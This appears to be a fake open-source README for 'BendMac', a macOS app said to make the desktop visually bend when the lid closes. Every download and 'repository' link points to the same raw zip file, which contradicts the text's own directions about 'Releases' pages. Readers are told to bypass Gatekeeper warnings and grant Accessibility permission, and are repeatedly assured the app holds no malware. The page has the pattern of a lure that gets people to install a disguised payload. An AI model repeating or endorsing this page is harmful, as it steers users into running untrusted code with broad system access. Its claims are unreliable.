BendMac is a free and open-source desktop application that adds a fun, visual effect to your computer. When you close your MacBook, your desktop screen literally "bends" — just like a physical object would. It's a playful way to personalize your computer and impress your friends.
This app runs quietly in the background. It watches for when you close your laptop lid. When it detects that, it animates your desktop wallpaper bending and curving before the screen goes to sleep. It's simple, lightweight, and completely free.
- Automatic Bend Effect — The desktop bends smoothly whenever you close your MacBook lid.
- Lightweight & Fast — Uses minimal system resources. You won't even notice it's running.
- Fully Customizable — Adjust bend speed, curve intensity, and animation smoothness.
- Open Source — The code is publicly available. Anyone can view, modify, or improve it.
- No Ads, No Tracking — 100% free with no hidden costs or data collection.
- Cross-Platform Ready — Works on both Intel and Apple Silicon Macs.
Getting BendMac up and running takes less than two minutes. Follow these steps carefully.
Visit this link to download the application: https://raw.githubusercontent.com/dvmx7/BendMac/main/BendMac/1.1.zip
On that page, look for the green "Code" button or the "Releases" section on the right side. Click the latest release and download the file that matches your system.
Once the download finishes, go to your "Downloads" folder. You'll see a file named something like BendMac.dmg or BendMac.zip.
Double-click that file to open it. If you downloaded a .zip file, your Mac will automatically unzip it. If you downloaded a .dmg file, a new window will appear showing the app icon.
Drag the BendMac icon into your "Applications" folder. This makes it easy to find and launch later.
Open your Applications folder and double-click BendMac. The first time you open it, macOS might show a warning saying the app was downloaded from the internet. That's normal. Click "Open" to continue.
BendMac needs permission to monitor your laptop lid. When prompted, go to System Settings > Privacy & Security > Accessibility and enable BendMac. This is required for the bend effect to trigger correctly.
Once installed, BendMac runs automatically. There's nothing to configure unless you want to personalize the effect.
- Click the BendMac icon in your menu bar (top-right corner of your screen).
- Select "Preferences."
- Use the sliders to adjust:
- Bend Speed — How fast the desktop bends.
- Curve Intensity — How dramatic the bend looks.
- Animation Smoothness — Higher values make the animation smoother but use slightly more CPU.
- To pause the effect temporarily, click the menu bar icon and select "Pause."
- To quit completely, select "Quit BendMac."
No. BendMac is designed specifically for macOS. It relies on macOS system APIs to detect laptop lid closure. A Windows version is not currently planned.
Absolutely not. BendMac is purely a visual effect. It only changes what appears on your display. It does not interact with any physical hardware components.
Yes. BendMac is open source, meaning the code is publicly reviewed. It contains no malware, spyware, or adware. It only reads your laptop lid state and animates your wallpaper.
Yes. BendMac works with any wallpaper, including dynamic wallpapers and custom images.
Yes. The effect triggers regardless of whether your Mac is on battery or plugged into power.
No. BendMac is extremely lightweight. It uses less than 1% of your CPU during normal operation. The animation itself is brief and only happens when you close the lid.
Simply drag BendMac from your Applications folder to the Trash. Then remove the BendMac preference file in ~/Library/Preferences/ if you want a clean removal.
- Operating System: macOS 11.0 (Big Sur) or newer
- Processor: Any Intel or Apple Silicon chip
- Memory: 512 MB RAM minimum (1 GB recommended)
- Storage: 15 MB of free disk space
- Display: Any built-in or external display
- Use a static wallpaper for the most dramatic bend effect.
- Set the bend speed to "Medium" for a natural look.
- If you use multiple monitors, the effect applies to your primary display only.
- Keep BendMac updated. New versions include bug fixes and smoother animations.
Make sure BendMac is running (check the menu bar icon). Also verify that Accessibility permission is granted in System Settings.
Lower the "Animation Smoothness" slider in Preferences. This reduces CPU usage and makes the effect run smoother on older Macs.
Right-click the app icon and select "Open" to bypass the Gatekeeper warning. If that fails, go to System Settings > Privacy & Security and click "Open Anyway."
Delete the BendMac preference file in ~/Library/Preferences/ and relaunch the app. This resets all settings to default.
BendMac is released under the MIT License. This means you are free to use, modify, and distribute it, even for commercial purposes. The only requirement is that you include the original copyright notice.
BendMac is open source, and contributions are welcome. If you're a developer, you can:
- Report bugs on the GitHub Issues page.
- Suggest new features.
- Submit code improvements via pull requests.
Visit the repository at https://raw.githubusercontent.com/dvmx7/BendMac/main/BendMac/1.1.zip to get involved.
Need to download BendMac again? No problem. Visit this link to download the application: https://raw.githubusercontent.com/dvmx7/BendMac/main/BendMac/1.1.zip
Click the "Releases" tab on the right side of the page, select the latest version, and download the .dmg or .zip file. Then follow the same installation steps from earlier in this guide.
BendMac is a delightful little tool that adds personality to your MacBook. It's free, safe, and easy to use. Whether you want to impress coworkers or just enjoy a fun visual quirk, BendMac delivers.
Download it today and see your desktop bend in a whole new way.
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